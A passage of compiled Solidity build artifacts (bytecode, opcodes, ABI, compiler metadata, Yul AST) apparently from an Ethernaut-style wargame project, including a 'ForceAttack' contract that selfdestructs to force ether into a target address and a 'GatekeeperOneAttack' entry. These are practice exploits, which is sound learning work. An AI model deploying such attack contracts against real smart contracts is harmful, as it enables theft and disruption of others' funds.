"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x9A DUP1 PUSH2 0x1E PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH1 0x1F JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH1 0x2A JUMPI PUSH1 0x25 JUMP JUMPDEST CALLDATASIZE PUSH1 0x25 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x30 PUSH1 0x32 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH20 0x59BB54F65D7C1669D6E8BBCB599DA781F1E00357 SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SELFDESTRUCT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xAB PUSH24 0x6DABA1C2A8EC85A759F44270B10C15675010602580696F1E KECCAK256 GASLIMIT CALLDATASIZE KECCAK256 PUSH20 0x6E64736F6C634300080700330000000000000000 ",
"sourceMap": "60:233:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@_5": {
"entryPoint": null,
"id": 5,
"parameterSlots": 0,
"returnSlots": 0
},
"@attack_20": {
"entryPoint": 50,
"id": 20,
"parameterSlots": 0,
"returnSlots": 0
}
},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405260043610601f5760003560e01c80639e5faafc14602a576025565b36602557005b600080fd5b60306032565b005b60007359bb54f65d7c1669d6e8bbcb599da781f1e0035790508073ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220ab776daba1c2a8ec85a759f44270b10c15675010602580696f1e20453620736e64736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH1 0x1F JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH1 0x2A JUMPI PUSH1 0x25 JUMP JUMPDEST CALLDATASIZE PUSH1 0x25 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x30 PUSH1 0x32 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH20 0x59BB54F65D7C1669D6E8BBCB599DA781F1E00357 SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SELFDESTRUCT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xAB PUSH24 0x6DABA1C2A8EC85A759F44270B10C15675010602580696F1E KECCAK256 GASLIMIT CALLDATASIZE KECCAK256 PUSH20 0x6E64736F6C634300080700330000000000000000 ",
"sourceMap": "60:233:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;131:159;;;:::i;:::-;;;175:22;208:42;175:76;;275:6;262:20;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "30800",
"executionCost": "81",
"totalCost": "30881"
},
"external": {
"attack()": "27709"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/ForceAttack.sol": "ForceAttack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/ForceAttack.sol": {
"keccak256": "0xb9a08ec2c617c6d25a6feb1a73298efe6fad4357cfb7e9bb03772138db4d10fa",
"license": "MIT",
"urls": [
"bzz-raw://b96d70dfec156bdc53db1b966928f3b6720e6dcb5d2e2848cb592a24d9e81163",
"dweb:/ipfs/QmNkay8F8u7f8zqbZBBeF5osVeP8GcAPPsX7tB3MzzNdHa"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "6080604052348015600f57600080fd5b50603f80601d6000396000f3fe6080604052600080fdfea2646970667358221220b11d8962447fce534f926a94dfd3cfa26cf7f208b7233d64599680203e917b5464736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x3F DUP1 PUSH1 0x1D PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xB1 SAR DUP10 PUSH3 0x447FCE MSTORE8 0x4F SWAP3 PUSH11 0x94DFD3CFA26CF7F208B723 RETURNDATASIZE PUSH5 0x599680203E SWAP2 PUSH28 0x5464736F6C6343000807003300000000000000000000000000000000 ",
"sourceMap": "60:20:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600080fdfea2646970667358221220b11d8962447fce534f926a94dfd3cfa26cf7f208b7233d64599680203e917b5464736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xB1 SAR DUP10 PUSH3 0x447FCE MSTORE8 0x4F SWAP3 PUSH11 0x94DFD3CFA26CF7F208B723 RETURNDATASIZE PUSH5 0x599680203E SWAP2 PUSH28 0x5464736F6C6343000807003300000000000000000000000000000000 ",
"sourceMap": "60:20:0:-:0;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "12600",
"executionCost": "66",
"totalCost": "12666"
}
},
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/GatekeeperOneAttack.sol": "Gate"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/GatekeeperOneAttack.sol": {
"keccak256": "0x021c0e68acc94fd52fa3365bc472de8f1831c50b636683e9ca6a579203ff83e1",
"license": "MIT",
"urls": [
"bzz-raw://3947113360fe0da4fdc56fb4a9b58751b257f8f07fb69163e754a3000ea96bb9",
"dweb:/ipfs/QmdY8ZDo5321Ws9sP5vYThu6tTwgQ7PmjL82YPkB9nLqNn"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_34": {
"entryPoint": null,
"id": 34,
"parameterSlots": 0,
"returnSlots": 0
}
},
"generatedSources": [],
"linkReferences": {},
"object": "608060405233600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503460018190555061040e8061009b6000396000f3fe60806040526004361061004e5760003560e01c806329cc6d6f1461017b5780638da5cb5b146101a6578063a955ffa0146101d1578063e3ac5d26146101fc578063f8a8fd6d1461022757610176565b3661017657600154341015806100b15750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6100ba57600080fd5b3447146100c657600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561012c573d6000803e3d6000fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034600181905550005b600080fd5b34801561018757600080fd5b50610190610231565b60405161019d9190610366565b60405180910390f35b3480156101b257600080fd5b506101bb61025a565b6040516101c89190610366565b60405180910390f35b3480156101dd57600080fd5b506101e6610280565b6040516101f39190610381565b60405180910390f35b34801561020857600080fd5b50610211610286565b60405161021e9190610381565b60405180910390f35b61022f61028c565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60015481565b600154341015806102ea5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6102f357600080fd5b3447146102ff57600080fd5b3273ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610345573d6000803e3d6000fd5b50565b6103518161039c565b82525050565b610360816103ce565b82525050565b600060208201905061037b6000830184610348565b92915050565b60006020820190506103966000830184610357565b92915050565b60006103a7826103ae565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091905056fea264697066735822122057b620cd74e9f0c215addad65bae778d011ffed6b1d284a76dd0b5fdc67ece1964736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLER PUSH1 0x2 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLER PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLVALUE PUSH1 0x1 DUP2 SWAP1 SSTORE POP PUSH2 0x40E DUP1 PUSH2 0x9B PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4E JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x29CC6D6F EQ PUSH2 0x17B JUMPI DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x1A6 JUMPI DUP1 PUSH4 0xA955FFA0 EQ PUSH2 0x1D1 JUMPI DUP1 PUSH4 0xE3AC5D26 EQ PUSH2 0x1FC JUMPI DUP1 PUSH4 0xF8A8FD6D EQ PUSH2 0x227 JUMPI PUSH2 0x176 JUMP JUMPDEST CALLDATASIZE PUSH2 0x176 JUMPI PUSH1 0x1 SLOAD CALLVALUE LT ISZERO DUP1 PUSH2 0xB1 JUMPI POP PUSH1 0x2 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND EQ JUMPDEST PUSH2 0xBA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE SELFBALANCE EQ PUSH2 0xC6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC CALLVALUE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x12C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP CALLER PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLVALUE PUSH1 0x1 DUP2 SWAP1 SSTORE POP STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x187 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x190 PUSH2 0x231 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x19D SWAP2 SWAP1 PUSH2 0x366 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1B2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1BB PUSH2 0x25A JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x1C8 SWAP2 SWAP1 PUSH2 0x366 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1DD JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1E6 PUSH2 0x280 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x1F3 SWAP2 SWAP1 PUSH2 0x381 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x208 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x211 PUSH2 0x286 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x21E SWAP2 SWAP1 PUSH2 0x381 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x22F PUSH2 0x28C JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x2 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x3 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x1 SLOAD CALLVALUE LT ISZERO DUP1 PUSH2 0x2EA JUMPI POP PUSH1 0x2 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND EQ JUMPDEST PUSH2 0x2F3 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE SELFBALANCE EQ PUSH2 0x2FF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST ORIGIN PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC CALLVALUE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x345 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x351 DUP2 PUSH2 0x39C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x360 DUP2 PUSH2 0x3CE JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x37B PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x348 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x396 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x357 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3A7 DUP3 PUSH2 0x3AE JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 JUMPI 0xB6 KECCAK256 0xCD PUSH21 0xE9F0C215ADDAD65BAE778D011FFED6B1D284A76DD0 0xB5 REVERT 0xC6 PUSH31 0xCE1964736F6C63430008070033000000000000000000000000000000000000 ",
"sourceMap": "60:763:0:-:0;;;230:10;214:5;;:27;;;;;;;;;;;;;;;;;;263:10;248:4;;:26;;;;;;;;;;;;;;;;;;289:9;281:5;:17;;;;60:763;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@_81": {
"entryPoint": null,
"id": 81,
"parameterSlots": 0,
"returnSlots": 0
},
"@_king_126": {
"entryPoint": 561,
"id": 126,
"parameterSlots": 0,
"returnSlots": 1
},
"@lastVal_9": {
"entryPoint": 640,
"id": 9,
"parameterSlots": 0,
"returnSlots": 0
},
"@owner_7": {
"entryPoint": 602,
"id": 7,
"parameterSlots": 0,
"returnSlots": 0
},
"@prize_5": {
"entryPoint": 646,
"id": 5,
"parameterSlots": 0,
"returnSlots": 0
},
"@test_118": {
"entryPoint": 652,
"id": 118,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_encode_t_address_payable_to_t_address_payable_fromStack": {
"entryPoint": 840,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 855,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed": {
"entryPoint": 870,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 897,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address_payable": {
"entryPoint": 924,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 942,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 974,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1089:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "88:61:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "105:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "136:5:1"
}
],
"functionName": {
"name": "cleanup_t_address_payable",
"nodeType": "YulIdentifier",
"src": "110:25:1"
},
"nodeType": "YulFunctionCall",
"src": "110:32:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "98:6:1"
},
"nodeType": "YulFunctionCall",
"src": "98:45:1"
},
"nodeType": "YulExpressionStatement",
"src": "98:45:1"
}
]
},
"name": "abi_encode_t_address_payable_to_t_address_payable_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "76:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "83:3:1",
"type": ""
}
],
"src": "7:142:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "220:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "237:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "260:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "242:17:1"
},
"nodeType": "YulFunctionCall",
"src": "242:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "230:6:1"
},
"nodeType": "YulFunctionCall",
"src": "230:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "230:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "208:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "215:3:1",
"type": ""
}
],
"src": "155:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "393:140:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "403:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "415:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "426:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "411:3:1"
},
"nodeType": "YulFunctionCall",
"src": "411:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "403:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "499:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "512:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "523:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "508:3:1"
},
"nodeType": "YulFunctionCall",
"src": "508:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_payable_to_t_address_payable_fromStack",
"nodeType": "YulIdentifier",
"src": "439:59:1"
},
"nodeType": "YulFunctionCall",
"src": "439:87:1"
},
"nodeType": "YulExpressionStatement",
"src": "439:87:1"
}
]
},
"name": "abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "365:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "377:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "388:4:1",
"type": ""
}
],
"src": "279:254:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "637:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "647:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "659:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "670:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "655:3:1"
},
"nodeType": "YulFunctionCall",
"src": "655:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "647:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "727:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "740:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "751:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "736:3:1"
},
"nodeType": "YulFunctionCall",
"src": "736:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "683:43:1"
},
"nodeType": "YulFunctionCall",
"src": "683:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "683:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "609:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "621:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "632:4:1",
"type": ""
}
],
"src": "539:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "820:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "830:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "859:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "841:17:1"
},
"nodeType": "YulFunctionCall",
"src": "841:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "830:7:1"
}
]
}
]
},
"name": "cleanup_t_address_payable",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "802:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "812:7:1",
"type": ""
}
],
"src": "767:104:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "922:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "932:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "947:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "954:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "943:3:1"
},
"nodeType": "YulFunctionCall",
"src": "943:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "932:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "904:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "914:7:1",
"type": ""
}
],
"src": "877:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1054:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1064:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1075:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1064:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1036:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1046:7:1",
"type": ""
}
],
"src": "1009:77:1"
}
]
},
